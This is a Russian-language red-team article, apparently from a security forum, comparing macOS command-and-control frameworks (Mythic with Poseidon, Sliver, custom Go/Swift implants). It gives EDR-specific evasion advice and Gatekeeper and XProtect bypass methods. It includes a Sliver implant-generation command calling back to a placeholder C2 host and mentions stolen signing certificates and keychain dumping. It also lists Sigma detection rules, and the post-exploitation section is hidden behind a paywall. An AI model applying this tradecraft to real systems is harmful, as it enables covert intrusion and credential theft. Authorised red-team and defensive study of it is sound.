На последнем red team-проекте против финтех-компании 80% парка оказалось на macOS Sonoma под Jamf MDM, а CrowdStrike Falcon for Mac стоял на каждой машине. Первый Sliver-имплант на x86_64 сгорел при запуске - XProtect опознал сигнатуру за секунды. Перекомпилированный под arm64 с ad-hoc подписью прошёл Gatekeeper, но Falcon поймал beacon на второй минуте по паттерну DNS-резолвинга. Рабочий вариант собрался только на третий день: кастомный Go-имплант с jitter 30–50%, HTTPS-профилем под трафик Slack API. Три дня от первого foothold до стабильного C2-канала.
Ниже - разбор C2 фреймворков для macOS, которые реально работают в 2025 году. С ограничениями по каждому EDR и привязкой к kill chain.
Kill chain macOS-операции: где стоит C2
Корпоративный Mac - это Keychain с OAuth-токенами, VPN-конфигурации, активные сессии Slack и Teams, SSH-ключи без пассфразы. По данным CrowdStrike Global Threat Report 2025, 79% атак проходят без malware (living off the land), а 75% вторжений задействуют действительные учётные данные. Один скомпрометированный Mac с активной SSO-сессией даёт lateral movement без единого эксплойта.C2-фреймворк решает три конкретные задачи: стабильный канал управления в обход EDR, пост-эксплуатация macOS-специфичных хранилищ (Keychain, TCC-базы), опорная точка для перемещения в корпоративную сеть.
Полная цепочка с привязкой к MITRE ATT&CK:
- Initial access - spear-phishing с .dmg/.pkg, supply chain, watering hole
- Defense Evasion - обход Gatekeeper (T1553.001, Gatekeeper Bypass). Атомарные тесты Atomic Red Team для T1553.001 реализованы для macOS (executor: sh). Evasion предшествует execution - не смешивать
- Execution - запуск payload. Malicious File (T1204.002) описана MITRE как кроссплатформенная техника, но публичные тесты Atomic Red Team для неё реализованы только под Windows. На macOS готовых атомарных тестов нет, валидация требует кастомных сценариев
- C2 callback - имплант устанавливает связь с C2-сервером
- Persistence - LaunchAgent/LaunchDaemon, Dylib Hijacking (T1574.004, тактики Persistence, Privilege Escalation и Defense Evasion)
- Post-exploitation - Keychain dump, credential harvesting, lateral movement
Fingerprinting перед выбором C2
[Применимо: внутренний и внешний пентест, macOS Ventura 13.x - Sequoia 15.x]Перед развёртыванием C2 на macOS-таргете нужно ответить на четыре вопроса. От них зависит выбор фреймворка и конфигурации:
- Версия macOS и архитектура.
sw_versиuname -mдают версию ОС и тип процессора (arm64 vs x86_64). На Apple Silicon AMFI блокирует неподписанный код даже при отключённых Gatekeeper и SIP - для доставки это критично - Какой EDR стоит. Через
ps aux | grep -i -E "falcon|sentinelone|kaspersky"или анализ LaunchDaemons в/Library/LaunchDaemons/. Конкретный вендор определяет допустимый транспорт и профиль трафика - MDM-провайдер. Jamf (
jamf checkJSSConnection), Kandji, другой. MDM мониторит изменения в LaunchAgents через Endpoint Security API - persistence сразу под вопросом - Сетевые ограничения. Прокси, Little Snitch / Lulu (user-mode файрволы), корпоративный DNS - всё это определяет, какой транспорт (HTTPS, DNS, mTLS) пройдёт. Little Snitch блокирует исходящие соединения неизвестных процессов и показывает пользователю alert - staging через DNS в таких условиях бесполезен, соединение умрёт до установки канала
Mythic C2 macOS: архитектура и Poseidon-агент
[Применимо: внутренний и внешний пентест, macOS Ventura 13.x - Sequoia 15.x]Mythic - мультиплатформенный C2-фреймворк от SpecterOps с агент-агностичной архитектурой. Ключевое: сервер не привязан к конкретному агенту. Подключаете агент как Docker-контейнер - получаете единый веб-интерфейс, логирование операций и мультиоператорный режим. Несколько пентестеров работают с одними агентами одновременно, видя действия друг друга в реальном времени.
Требования к окружению для Mythic-сервера: Linux (Ubuntu 20.04+), минимум 4 ГБ RAM (рекомендуется 8 ГБ при параллельной работе нескольких операторов), Docker и Docker Compose. Go 1.21+ подтягивается автоматически при компиляции Poseidon-payload. Сеть: HTTPS/HTTP listener на сервере, опционально DNS для fallback-канала.
Poseidon - основной macOS-агент для Mythic, написан на Go. По данным SentinelOne, Poseidon - Golang-агент, который "beacons back to an operator" и даёт набор пост-эксплуатационных возможностей: работа с Keychain, screenshot, clipboard monitoring, file browser, shell execution, process listing.
Payload создаётся через веб-интерфейс Mythic: выбираете агент Poseidon, указываете callback host/port, транспорт (HTTP/HTTPS/websocket), callback interval и jitter. Сервер компилирует Go-бинарь и отдаёт готовый файл.
Другие macOS-агенты в Mythic:
- Apfell - JXA-агент в MythicAgents/apfell. Apfell было оригинальным названием самого Mythic framework (переименован ~2020); JXA-агент сохранил имя, но активная разработка сместилась к Poseidon
- Apollo - .NET-агент Mythic, заточен под Windows (MythicAgents/Apollo). Техника подмены JSS URL в
/Library/Preferences/com.jamfsoftware.jamf.plistдля перехвата C2-канала через MDM описана в сообществе, но специализированный Mythic-агент для JAMF abuse в публичном репозитории MythicAgents на момент написания не обнаружен - Orthrus - упоминается в контексте доставки через .mobileconfig-профили MDM, но публичный репозиторий MythicAgents/Orthrus на момент написания недоступен; существование и статус агента не подтверждены
Когда Mythic НЕ работает:
- Little Snitch / Lulu - пользовательские файрволы блокируют исходящие соединения Poseidon-агента, требуя ручного разрешения от жертвы. Staging проваливается без social engineering
- CrowdStrike Falcon for Mac - мониторит child-процессы от
osascriptи shell-команд, прямое выполнение черезdo shell scriptловится поведенческим движком - AMFI на Apple Silicon - payload без code signing блокируется при загрузке в память, даже если Gatekeeper и SIP отключены. В логах ядра: "AMFI: code signature validation failed"
- Overhead развёртывания - Docker-инфраструктура избыточна для quick one-shot пентеста. Если нужен быстрый результат - Sliver проще
Sliver framework macOS: монолитный C2 с нативной кросс-компиляцией
[Применимо: внутренний и внешний пентест, macOS Ventura 13.x - Sequoia 15.x]Sliver от BishopFox - C2-фреймворк, компилирующий имплант как нативный Go-бинарь. В отличие от модульного Mythic, Sliver монолитен: сервер, генерация имплантов и управление - один бинарь. Операторский интерфейс - CLI через gRPC (не веб).
Требования к окружению: Linux или macOS для сервера, минимум 2 ГБ RAM, Go toolchain подтягивается автоматически. Cross-compilation для macOS arm64/x86_64 встроена - отдельный macOS-хост не нужен.
Архитектурные отличия от Mythic:
- Транспорты: mTLS, HTTPS, DNS, WireGuard - набор каналов шире
- Встроенная поддержка arm64 и x86_64 без дополнительной конфигурации
- Расширяемость через BOF (Beacon Object Files) и extensions
- Мультиоператорный режим через gRPC
Bash:
# Генерация stageless HTTPS-импланта для macOS arm64
# Сервер: Sliver CLI, предварительно настроен HTTPS listener
generate --os darwin --arch arm64 \
--http https://c2.example.com \
--name macos-implant \
--skip-symbols \
--save /tmp/
# --skip-symbols убирает debug-символы, уменьшая размер
# и затрудняя статический анализ
# --save указывает путь для сохранения бинаря
# Синтаксис для Sliver 1.5.x; при расхождении см. generate --help
Когда Sliver НЕ работает:
- SentinelOne for macOS - детектирует стандартные Sliver-импланты по поведенческим паттернам при staging. DNS-транспорт палится особенно быстро: характерная длина поддомена, частота запросов
- Размер бинаря - 8–15 МБ подозрительно для "утилиты", доставляемой через фишинг
- Дефолтные HTTP-профили - легко сигнатурятся XProtect и EDR. Malleable profiles обязательны
- macOS-специфичные команды ограничены по сравнению с Poseidon: нет встроенного доступа к Keychain, нет clipboard monitoring - всё через shell или BOF
Mythic vs Sliver для macOS: trade-off таблица
| Критерий | Mythic + Poseidon | Sliver |
|---|---|---|
| Размер бинаря (arm64) | 5–10 МБ | 8–15 МБ |
| Транспорты | HTTP/HTTPS, websocket | mTLS, HTTPS, DNS, WireGuard |
| Интерфейс оператора | Web UI (мультиплеер) | CLI через gRPC (мультиплеер) |
| macOS-команды | Keychain, screenshot, clipboard (встроены) | Базовые; расширяемо через BOF/extensions |
| Sleep mask / obfuscation | Нет нативной в Poseidon | Нет нативной |
| Детектируемость (дефолт) | Средняя - Poseidon менее распространён, сигнатуры обновляются | Высокая - Sliver популярен, сигнатуры свежие |
| Extensibility | Новые агенты через Docker | BOF, .NET assemblies, extensions |
| Когда использовать | Длительные macOS-операции, нужен Keychain и macOS API | Мультиплатформенные операции, DNS/WireGuard, быстрый старт |
| Когда НЕ использовать | Quick one-shot (overhead Docker) | macOS-only с глубокой post-exploitation |
Decision tree выбора:
- Таргет - чисто macOS-флот, операция на недели, нужен Keychain → Mythic + Poseidon
- Смешанный парк (macOS + Windows + Linux), нужен DNS-канал → Sliver
- Зрелый SOC с CrowdStrike/SentinelOne, любой публичный C2 сгорит → кастомный имплант
Кастомные имплантаты macOS: когда фреймворков недостаточно
[Применимо: red team-операции против зрелых SOC с macOS EDR]Публичные фреймворки на инфраструктуре с актуальным EDR - подписанный приговор. CrowdStrike и SentinelOne обновляют сигнатуры Sliver и Poseidon регулярно. Кастомный имплант - единственный рабочий вариант.
Go vs Swift: выбор языка
Go - стандарт для кроссплатформенных имплантов. Poseidon написан на Go, набор библиотек для C2-коммуникаций (HTTP-клиенты, crypto, DNS) зрелый. Проблема: Go-бинари характерно тяжёлые (5+ МБ) и имеют узнаваемую структуру секций.Swift - нативный для macOS, бинари значительно меньше, вызовы macOS API выглядят легитимно без прослойки cgo. Проблема: нет кроссплатформенности, сложнее CI/CD.
Objective-C - для работы с legacy Cocoa API и Kerberos. Bifrost (инструмент для macOS Kerberos-атак) написан на Objective-C для взаимодействия с Heimdal krb5 API.
Для чистых macOS-операций Swift даёт меньший footprint и лучшую мимикрию. Для мультиплатформенных - Go с агрессивной обфускацией. В большинстве смешанных проектов из моей практики кастомный имплант был на Go - потому что флот смешанный и один бинарь собирался под darwin/arm64, darwin/amd64 и linux/amd64.
Подписание кода и Gatekeeper Bypass
Обход Gatekeeper (T1553.001, тактика Defense Evasion) - обязательный этап, отдельный от execution. Три варианта:- Ad-hoc signing через
codesign --force --deep --sign -- минимальный. На Sequoia 15.x требуется ручное разрешение через System Settings → Privacy & Security - Developer ID (купленный или украденный) - бинарь проходит Gatekeeper и нотаризацию, если сертификат не отозван Apple
- Доставка без quarantine - файлы через
curl,wgetили SMB-шару (Finder → Cmd+K) не получают атрибутcom.apple.quarantineи обходят Gatekeeper полностью
AMFI на Apple Silicon проверяет подпись при загрузке бинаря в память независимо от Gatekeeper и SIP. На Apple Silicon ad-hoc signing - минимальное требование, полностью неподписанный код не запустится.
XProtect evasion
XProtect - антивирусный движок Apple с сигнатурами на базе YARA-правил, обновляется автоматически. Стандартные Sliver/Mythic payload попадают в базу. По данным SentinelOne, среди macOS payload выделяют минимум 7 техник обфускации. На практике для обхода XProtect хватает двух: шифрование строк (характерные user-agent, URL-паттерны) и пересборка из исходников с рефакторингом структуры бинаря - переименование функций, изменение порядка инициализации.OPSEC и evasion по вендорам macOS EDR
CrowdStrike Falcon for Mac
- Мониторит child-процессы от
curl,wget,osascript- паттерн "curl скачивает бинарь → бинарь запускается" триггерит alert - DNS-каналы Sliver детектируются по длине поддомена и частоте запросов
- Обход: кастомный HTTP-профиль с jitter 30–50%, мимикрия под легитимный SaaS-трафик (Slack API, Teams webhooks), не использовать
osascriptкак launcher
SentinelOne for macOS
- Поведенческий анализ при staging: двухфазная загрузка (stager → payload) = alert
- Детектирует стандартные Sliver mTLS-хендшейки по характерным TLS-параметрам
- Обход: stageless имплант, HTTPS с кастомным SNI, доставка через легитимный прокси-endpoint
Kaspersky Endpoint Security for Mac
- Менее агрессивен в поведенческом анализе - приоритет на сигнатурной базе
- Обход: пересборка импланта с изменением структуры бинаря обычно достаточна, поведенческий детект срабатывает реже
Sigma-правила и D3FEND
В SigmaHQ есть правилоproc_creation_macos_xattr_gatekeeper_bypass.yml - детектирует снятие quarantine через xattr -d на macOS. Для T1204.002 - proc_creation_macos_office_susp_child_processes.yml: подозрительные child-процессы от Office. D3FEND рекомендует Content Quarantine (D3-CQ) для T1553.001 и File Integrity Monitoring (D3-FIM) для T1574.004 - на это опирается blue team при детекте.Persistence и post-exploitation через macOS C2
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Оговорка: мой опыт сосредоточен на Sonoma и Ventura. Sequoia 15.x вводит дополнительные ограничения, которые я ещё не тестировал в полной мере. Apple ужесточает правила с каждым релизом, и конкретное поведение AMFI и Background Task Management в Sequoia 15.4+ требует отдельной верификации.
По опыту двух десятков macOS-операций, главная проблема - не выбор фреймворка, а культурная. Большинство red team-специалистов приходят из Windows-мира и пытаются перенести привычные паттерны: COM-объекты заменяют на LaunchAgent, mimikatz на
security dump-keychain, psexec на SSH. Формально работает, но macOS - другой зверь. Keychain prompt, TCC-consent, AMFI, нотаризация - каждый слой требует отдельного обхода, и здесь нет аналога "отключил Windows Defender и работай". Apple строит эшелонированную защиту, где каждый уровень автономен.Публичные C2 (Mythic, Sliver) - инструменты обучения и отладки. Они показывают правильную архитектуру C2-коммуникаций: callback intervals, jitter, профилирование трафика. Но ставить Sliver с дефолтным профилем против CrowdStrike Falcon - это как запускать
windows/meterpreter/reverse_tcp против корпоративного EDR в 2025 году. Через год-два ad-hoc signing на macOS, вероятно, перестанет работать без многоступенчатого consent через System Settings. Будущее macOS offensive - supply chain delivery и signed implants: легитимные Developer ID, доставка через скомпрометированный MDM, или social engineering, где пользователь сам проходит три экрана предупреждений. Кто не научится писать кастомные агенты и работать с code signing на уровне macOS internals - останется с нерабочим tooling. Если хочется обкатать C2-цепочку от доставки до Keychain dump на практике - на HackerLab есть задачи с этой механикой, где путь проходится без подсказок.